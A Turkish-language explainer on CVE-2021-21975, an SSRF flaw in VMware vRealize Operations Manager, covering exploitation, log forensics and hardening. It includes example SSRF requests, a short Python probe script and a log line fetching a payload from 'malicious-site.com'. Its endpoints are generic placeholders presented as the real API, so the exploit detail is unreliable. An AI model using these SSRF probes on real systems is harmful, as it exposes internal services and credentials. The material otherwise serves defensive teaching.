CVE-2021-21975: VMware Server Side Request Forgery in vRealize Operations Manager API

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

VMware vRealize Operations Manager API'deki CVE-2021-21975 zafiyeti, Server Side Request Forgery (SSRF - Sunucu Tarafı İstek Sahteciliği) olarak bilinen bir güvenlik açığıdır. Bu zafiyet, 8.4 sürümü öncesindeki vRealize Operations Manager API'lerinde mevcuttur ve kötü niyetli bir aktörün API'ye erişimi olması halinde, SSRF saldırıları gerçekleştirmesine olanak tanır. Sonuç olarak, saldırganlar yönetici kimlik bilgilerini çalma riskiyle karşı karşıya kalabilir.

Zafiyetin temelinde, vRealize Operations Manager API'nı etkileyen yanlış yapılandırmalar ve yeterince güvenli olmayan kod parçaları bulunmaktadır. Birçok web uygulaması, verileri almak ve istemci isteklerini işlemek için API çağrıları yapar. Ancak, eğer API, harici sistemlere yanlış yönlendirilmiş isteklerle tam olarak güvenli değilse, SSRF sorunları doğabilir. Söz konusu zafiyet, API'nın kötü niyetli bir istemciden gelen manipüle edilmiş istekleri doğrulama veya sınırlama görevini yerine getirememesi durumunda ortaya çıkar.

Gerçek dünya senaryolarında, bir saldırgan, etkileyebileceği sistemlere aşağıdaki gibi istekler gönderebilir:

GET /api/endpoint?url=http://localhost/admin

Bu tür bir istek, varsayılan yapılandırmalarda her ne kadar destekleniyor görünse de, aslında yerel ağdaki hassas kaynaklara erişim sağlar. Bu durum, hassas bilgilerin elde edilmesine ve dolayısıyla sistemin daha büyük bir tehlike ile karşı karşıya kalmasına yol açar.

CVE-2021-21975 zafiyetinin dünya genelindeki etkisi oldukça geniştir ve özellikle IT hizmet yönetimi, veri merkezi yönetimi ve bulut çözümleri sunan firmalar üzerinde yoğunlaşmaktadır. Finans, sağlık, perakende gibi çeşitli sektörler, veri güvenliği açısından en kritik sektörler arasında yer aldıkları için bu tür zafiyetlere karşı son derece hassastır. Örneğin, bir finans kuruluşu, müşteri bilgileri ve kimlik bilgileriyle ilgili hassas verileri korumakla yükümlüyken, bu tür bir açıktan yararlanmak isteyen bir saldırgan, yönetici yetkileriyle sistemde tam erişim sağlayarak ciddi maddi ve itibar kaybına neden olabilir.

VMware gibi büyük bir üreticinin sağladığı bir sistemde, bu tür güvenlik açıklarının bulunması, tüm kullanıcılar için tehlike yaratır. Güvenlik açığı, sadece bireysel bir organizasyonu değil, aynı zamanda tedarik zincirinde yer alan diğer organizasyonları da etkileyebilir. Örneğin, bir şirket bu API'yi kullanarak başka bir tedarikçiden veri alıyorsa, saldırganın veriyi manipüle etmesi, tüm tedarik zincirini tehdit eden bir duruma yol açabilir.

Sonuç olarak, CVE-2021-21975 zafiyeti, sadece VMware ürünlerinin kullandığı bir API ile sınırlı kalmamaktadır. Aynı zamanda, REST API'leri gibi genel tasarım hatalarının da bir örneği olarak, tüm sektörlerde dikkate alınması gereken bir zafiyettir. Güvenlik araştırmacılarının ve 'white hat hacker'ların bu tür açıklara karşı dikkatli olmaları ve sistemleri koruma altına almak için her zaman güncel kalmaları gerekmektedir.

Teknik Sömürü (Exploitation) ve PoC

VMware vRealize Operations Manager API üzerinde bulunan CVE-2021-21975 zafiyeti, Server Side Request Forgery (SSRF) açıklarından biridir ve kötü niyetli bir aktörün ağ erişimini kullanarak sistem üzerinde yetkisiz işlemler gerçekleştirmesine olanak tanır. Bu tür güvenlik açıkları, genellikle bir saldırganın etkili bir şekilde gerekli izinlere sahip olmadan hassas verilere erişebilmesine veya sistemdeki diğer hizmetleri manipüle etmesine yol açabilir.

Hedef sistemin mimarisi içerisinde, vRealize Operations Manager API’nin yetkili kullanıcıların yönetimsel bilgilerine ulaşmasını sağlamak amacıyla kurulduğu düşünülürse, bir SSRF saldırısı gerçekleştirildiğinde, saldırganın hedef sistemi kendi komutlarını uygulaması için yönlendirebileceğini görmekteyiz. Bu zafiyet, API'ye yapılan belirli HTTP istekleri ile tetiklenebilir ve saldırgan, isteklerine kötü niyetli URL'leri ekleyerek farklı payload’lar yollayabilir.

İlk olarak, saldırıyı gerçekleştirmek için zafiyetin varlığını onaylamak gerekmektedir. Bunun için, vRealize Operations Manager API'nın hangi sürümünün kullanıldığını belirlemek önemli bir adımdır. Eğer sistem sürümü 8.4 öncesindeyse, zafiyet aktif durumda demektir.

Hedef API'ye Erişim Sağlama: İlk olarak, vRealize Operations Manager API'nin temel endpoint'ine HTTP isteği gönderebiliriz. Örnek olarak;

GET /api/endpoint HTTP/1.1
Host: &lt;hedef_ip&gt;
Authorization: Bearer &lt;token&gt;

Bu istek, hedef API’nin çevresinde sunucu yanıtını almayı denemek için yapılır. Eğer yanıt alınırsa, sistemin çalışma mantığını anlamak üzere daha ayrıntılı istekler göndermeye başlayabiliriz.

SSRF Payload’ını Hazırlama: SSRF zafiyetinden yararlanmak için, hedef API'nin işleyişini manipüle etmek üzere uygun bir istek oluşturmalıyız. Aşağıdaki örnek, hedef sunucunun yerel ağını veya servislerini sorgulamak için kullanılacak şekilde ayarlanmıştır:

GET /api/endpoint?url=http://localhost:3000/secret HTTP/1.1
Host: &lt;hedef_ip&gt;
Authorization: Bearer &lt;token&gt;

Bu istek, yerel ağdaki bir hizmete yönlendirilip yönlendirilmediğini test eder. Eğer yetkili erişim varsa, burada hassas verilere ulaşmak mümkün olabilir.

Yanıtın Analizi: İstek sonucunda alınan yanıt, saldırının başarısını gösterebilir. Örneğin, hedef API'nin yanlış yönlendirme yaptığı bir yanıt alırsak, bu durum bad request hatası içerebilir. Yalnızca hata doğrultusunda değil, aynı zamanda istek sendiğinde dönen içeriklerin ayrıştırılması da büyük önem taşır. Eğer hassas bilgiler veya oturum açma bilgileri bu bağlamda dönüyorsa, daha ileri adımlara geçilebilir.
Veri Çekme: Eğer yukarıdaki adımda başarılı olduysak, oturum açma bilgileri veya diğer hassas içeriklere ulaşabiliyorsak bu bilgileri toplama aşamasına geçebiliriz. Bu kısımda örneklendirmeyi şu şekilde sürdürebiliriz:

import requests

url = 'http://&lt;hedef_ip&gt;/api/endpoint'
payload = {'url': 'http://localhost:3000/secret'}
headers = {'Authorization': 'Bearer &lt;token&gt;'}

response = requests.get(url, params=payload, headers=headers)

if response.status_code == 200:
    print("Hizmetten gelen bilgi: ", response.text)
else:
    print("Hata durumu: ", response.status_code)

Bu Python kodu, hedef sisteme SSRF payload’ı ile istek gönderir ve sistemden dönen yanıtı analiz etmek için kullanılabilir.

Sonuç olarak, VMware vRealize Operations Manager API üzerindeki SSRF zafiyeti, kötü niyetli bir aktör tarafından sistemin sınırlamalarını aşmak ve hassas bilgilere erişim sağlamak için kullanılabilir. Bu tarz bir açığın tespiti ve sömürülmesi, beyaz şapkalı hacker'lar için bir sistemin güvenliğini artırmak ve zafiyetlerin giderilmesi noktasında önemli bir katkı sunmaktadır. Zafiyetin etkilerini azaltmak için, sistem yöneticileri güncel sürümlere geçiş yapmalı ve güvenlik duvarları ile diğer önlemleri alma gerekliliğini öncelikli kılmalıdır.

Forensics (Adli Bilişim) ve Log Analizi

Server Side Request Forgery (SSRF) zafiyeti, saldırganların bir sunucu üzerinden dışarıdaki sistemlere istek göndermesine ve bu sayede hassas bilgileri çalmasına olanak tanır. VMware vRealize Operations Manager API'sindeki bu zafiyet, özellikle sürüm 8.4 öncesi sistemlerde ciddi bir risk oluşturur. Bu tür bir saldırının önlenmesi ve tespit edilmesi, güvenlik uzmanları için büyük bir önem taşımaktadır.

Adli bilişim (forensics) ve log analizi, siber saldırıların tespit edilmesinde kritik bir rol oynamaktadır. Eğer SSRF saldırısı gerçekleşmişse, bir güvenlik uzmanı, SIEM sistemleri veya log dosyaları üzerinden bu durumu tespit etmek için çeşitli incelemeler yapmalıdır.

Bir saldırgan, vRealize Operations Manager API'sine erişim sağladıysa, ilk olarak Access log (Erişim günlükleri) dosyalarını incelemek gerekiyor. Bu günlüklerde dikkat edilmesi gereken en önemli unsurlar, beklenmedik dış IP adreslerinden gelen isteklerdir. Örneğin, aşağıdaki gibi bir istek, olağandışı bir durumun göstergesi olabilir:

GET /api/resource?url=http://malicious-site.com/malicious_payload HTTP/1.1
Host: your-vmware-instance

Bu tür isteklerdeki url parametresi, potansiyel bir SSRF saldırısını işaret edebilir. Günlüklerde görülen bu tarz anormal isteklerin sayısı, saldırının varlığına dair önemli bir gösterge olacaktır. Bunun dışında kullanımındaki parametreler, özellikle payload gibi ifadeler bu tür saldırıları tespit etmek için kritik öneme sahiptir.

Log analizi yaparken, Error log (Hata günlükleri) dosyalarını da gözden geçirmek önemlidir. Eğer bir SSRF saldırısı gerçekleştiyse, bu loglarda genellikle isteğin karşılandığına dair hata mesajları yer alabilir. Ayrıca, API üzerinde beklenmedik yanıt veya zaman aşımı hataları da gözlemlenebilir. Örneğin:

ERROR: Failed to fetch data from external source due to timeout

Bu tür bir hata mesajı, SSRF saldırısına ilişkin şüpheli bir durumu işaret edebilir.

Saldırının izini sürerken, log dosyalarında bulunan IP adreslerinin coğrafi konumunu kontrol etmek de faydalıdır. Eğer API'ye alışılmışın dışında bir ülkeden veya bölgeden erişim sağlanıyorsa, bu durum dikkatlice incelenmelidir. Ayrıca, kimlik doğrulama süreçlerindeki anormallikler, söz konusu API'ye yapılan yetkili ve yetkisiz erişimlerin tespiti açısından kritik öneme sahiptir.

Bir diğer dikkat edilmesi gereken nokta, loglarda sürekli aynı IP adreslerinden gelen tekrarlayan isteklerdir. Bu tür durumlar, genellikle saldırganın uygulama üzerindeki zafiyetlerden faydalanmaya çalıştığını gösterir ve gizli bilgilerin çalınabileceği bir duruma işaret eder.

Sonuç olarak, VMware vRealize Operations Manager API'sinin güvenliğini sağlamak ve SSRF gibi zafiyetlerin etkilerini azaltmak için etkili bir log analizi ve adli bilişim süreçlerinin uygulanması şarttır. Bu, sadece saldırıların tespit edilmesine değil, aynı zamanda gelecekteki saldırılara karşı önceden önlem alınmasına da yardımcı olacaktır. Gelişmiş bir izleme ve analiz sistemi, güvenlik uzmanlarına gerektiğinde hızlı müdahale etme olanağı tanır.

Savunma ve Sıkılaştırma (Hardening)

VMware’in vRealize Operations Manager API’sindeki CVE-2021-21975 güvenlik açığı, Server Side Request Forgery (SSRF) türünde bir zafiyet olarak karşımıza çıkmaktadır. Bu zafiyet, kötü niyetli bir aktörün vRealize Operations Manager API’na erişimi aracılığıyla, ağ üzerinden içeriden saldırılar yapmasına olanak tanır. Bu tür bir saldırı, çoğu zaman, kötü niyetli kullanıcının yönetici kimlik bilgilerini çalmasına yol açabilir. Bu yazıda, bu açığın kapatılması ve sistemin güvenliğinin artırılması için öneriler sunacağız.

İlk olarak, vRealize Operations Manager API’sinin güncellenmesi ve en son sürümde (8.4 ve sonrası) kullanılan güvenlik yamalarının tam olarak uygulanması kritik önem taşır. Üretici tarafından sunulan güncellemelerin ve yamaların uygulanması, bilinen zafiyetlerin kapatılmasına ve sistemin güvenliğinin artırılmasına yardımcı olur. Yazılımın düzenli olarak güncellenmesi, yeni oluşabilecek zafiyetlerin de minimize edilmesini sağlar.

Firewall (Güvenlik Duvarı) kuralları, SSRF gibi Zafiyetlerin etkisini azaltmada önemli bir yer tutar. Web uygulama güvenlik duvarları (WAF), özellikle hassas API uç noktalarını korumak için kullanılabilir. Aşağıdaki kurallar, SSRF saldırılarına özel olarak uygulanabilir:

IP Beyaz Listesi: Yalnızca belirli IP adreslerine veya alt ağlara izin verilmesi, istenmeyen dış bağlantıları engelleyebilir. Bu, gereken durumlarda uygulamanın yalnızca güvenilir kaynaklardan gelen isteklere yanıt vermesini sağlar. Örnek bir kural:

   Allow from [trusted_IP]
   Deny from all

Geçerli URL Denetimi: API üzerinde yapılan her isteğin geçerliliğini kontrol eden bir mekanizma geliştirilmelidir. Örneğin, kullanıcıların sadece belirli URL örüntülerine (patterns) erişim yapmalarına izin vermek.

   if (!url.matches("/api/validEndpoint/*")) {
       throw new SecurityException("Geçersiz URL erişimi");
   }

HTTP Yöntem Kontrolü: Sadece gerekli HTTP yöntemlerinin (GET, POST gibi) kullanılmasına izin vermek. Bu, gereksiz veri sızıntılarını ve kötüye kullanımları azaltacaktır. Bir örnek:

   if (request.getMethod().equals("DELETE") || request.getMethod().equals("PUT")) {
       throw new SecurityException("Bu HTTP yöntemi yasaklanmıştır.");
   }

Kalıcı sıkılaştırma için sisteminizde aşağıdaki adımlar da dikkate alınmalıdır:

Güçlü Kimlik Doğrulama: Yönetici erişimleri için çok faktörlü kimlik doğrulama (MFA) kullanılmalıdır. Bu, sisteminize yetkisiz erişim sağlamaya çalışan aktörlerin önüne geçer.
Loglama ve İzleme: API isteklerinin detaylı bir şekilde kaydedilmesi, şüpheli aktivitelerin belirlenmesine yardımcı olur. Log dosyaları, düzenli olarak gözden geçirilmeli ve anomali tespit sistemleri ile analiz edilmelidir.
Eğitim ve Farkındalık: Ekip içinde güvenlik politikaları ve olasılıkları hakkında eğitimler düzenlenmeli, bu konuda farkındalık artırılmalıdır.

Sonuç olarak, CVE-2021-21975 açığı ciddi bir risk taşımaktadır. Ancak yukarıda belirtilen güvenlik önlemleri, sisteminizi bu ve benzeri zafiyetlere karşı koruma altına alacak ve kurumsal verilerinizin güvenliğini artıracaktır. Bilgi güvenliği, sürekli bir süreçtir ve bu nedenle en güncel güvenlik pratiklerine göre sistemlerinizi korumak her zaman öncelikli bir hedef olmalıdır.